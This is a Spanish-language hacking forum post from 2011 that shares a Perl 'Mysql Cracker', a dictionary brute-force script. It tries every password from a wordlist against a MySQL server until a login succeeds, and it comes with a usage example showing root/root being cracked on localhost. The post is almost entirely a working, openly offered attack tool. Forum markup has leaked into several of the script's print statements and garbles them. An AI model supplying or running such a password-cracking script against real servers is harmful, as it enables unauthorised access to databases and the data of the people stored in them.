[Perl] Mysql Cracker

  • 0 Respuestas
  • 1438 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Mysql Cracker

  • en: Julio 03, 2011, 10:03:43 pm
Bueno , aca les dejo un mysql cracker que hice en perl.


Código: Perl
  1. #!usr/bin/perl
  2. #Mysql Cracker (C) Doddy Hackman 2011
  3. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  4.  
  5. use DBI;
  6.  
  7. sub now {
  8.  
  9. $target = "dbi:mysql::".$_[0].":3306";
  10.  
  11. print "\n<ul class="bbc_list"><li type="square"> Target : ".$_[0]."\n\n";[/li][/list]
  12.  
  13. unless(-f $ARGV[2]) {
  14. print "\n[-] File Not Found\n";
  15. copyright();
  16. }
  17.  
  18. open(WORDLIST,$_[2]);
  19. my @words = <WORDLIST>;
  20. close WORDLIST;
  21.  
  22. chomp @words;
  23.  
  24. my @words = repes(@words);
  25.  
  26. print "\n</li><li type="square"> Wordlist : $_[2]\n";[/li][/list]
  27. print "</li><li type="square"> Words Found : ".int(@words)."\n\n";[/li][/list]
  28.  
  29. for my $pass(@words) {
  30. if (my $now = DBI->connect($target,$_[1],$pass,{PrintError=>0})) {
  31. print "\a\a\n</li><li type="square"> Cracked !!!\n\n";[/li][/list]
  32. print "[Host] : ".$_[0]."\n";
  33. print "[User] : ".$_[1]."\n";
  34. print "[Password] : ".$pass."\n";
  35. copyright();
  36. }
  37. }
  38. print "\n[-] Sorry , Not Found\n";
  39. }
  40.  
  41. sub head {
  42. print "\n\n -- == Mysql Cracker == --\n\n";
  43. }
  44.  
  45. sub copyright {
  46. print "\n\n -- == (C) Doddy Hackman 2011\n\n";
  47. exit(1);
  48. }
  49.  
  50. sub sintax {
  51. print "\n</li><li type="square"> Sintax : $0 <host> <user> <wordlist>\n";[/li][/list]
  52. }
  53.  
  54. sub repes {
  55. foreach $test(@_) {
  56. push @limpio,$test unless $repe{$test}++;
  57. }
  58. return @limpio;
  59. }
  60.  
  61. head();
  62. unless(@ARGV < 3) {
  63. now($ARGV[0],$ARGV[1],$ARGV[2]);
  64. } else {
  65. sintax();
  66. }
  67. copyright();
  68.  
  69.  
  70. # ¿ The End ?
  71.  

Un ejemplo de uso seria

Código: [Seleccionar]
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlcrack>mycrack.pl localhost root c:/aca.txt


 -- == Mysql Cracker == --


  • Target : localhost[/li]


  • Wordlist : c:/aca.txt[/li]
  • Words Found : 7[/li]


  • Cracked !!![/li]

    [Host] : localhost
    [User] : root
    [Password] : root


     -- == (C) Doddy Hackman 2011 == --


  • « Última modificación: Julio 17, 2011, 03:41:19 am por Sthefano02 »

     

    Tutorial perl desde cero By: Black Poision & Painboy

    Iniciado por ProcessKill

    Respuestas: 2
    Vistas: 5315
    Último mensaje Septiembre 02, 2011, 09:43:36 pm
    por blozzter
    [Perl] Verificando si es root para correr un script

    Iniciado por c1st

    Respuestas: 1
    Vistas: 3470
    Último mensaje Octubre 07, 2012, 06:01:39 pm
    por ANTRAX
    [Perl] Search in google for scan SQLI

    Iniciado por BigBear

    Respuestas: 0
    Vistas: 2596
    Último mensaje Julio 03, 2011, 09:49:49 pm
    por BigBear
    [Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

    Iniciado por tar3kw0rm3d

    Respuestas: 0
    Vistas: 3011
    Último mensaje Junio 02, 2013, 08:01:28 pm
    por tar3kw0rm3d
    [Perl] Counter Strike 1.6 Servers List

    Iniciado por BigBear

    Respuestas: 0
    Vistas: 2558
    Último mensaje Noviembre 12, 2012, 07:32:11 pm
    por BigBear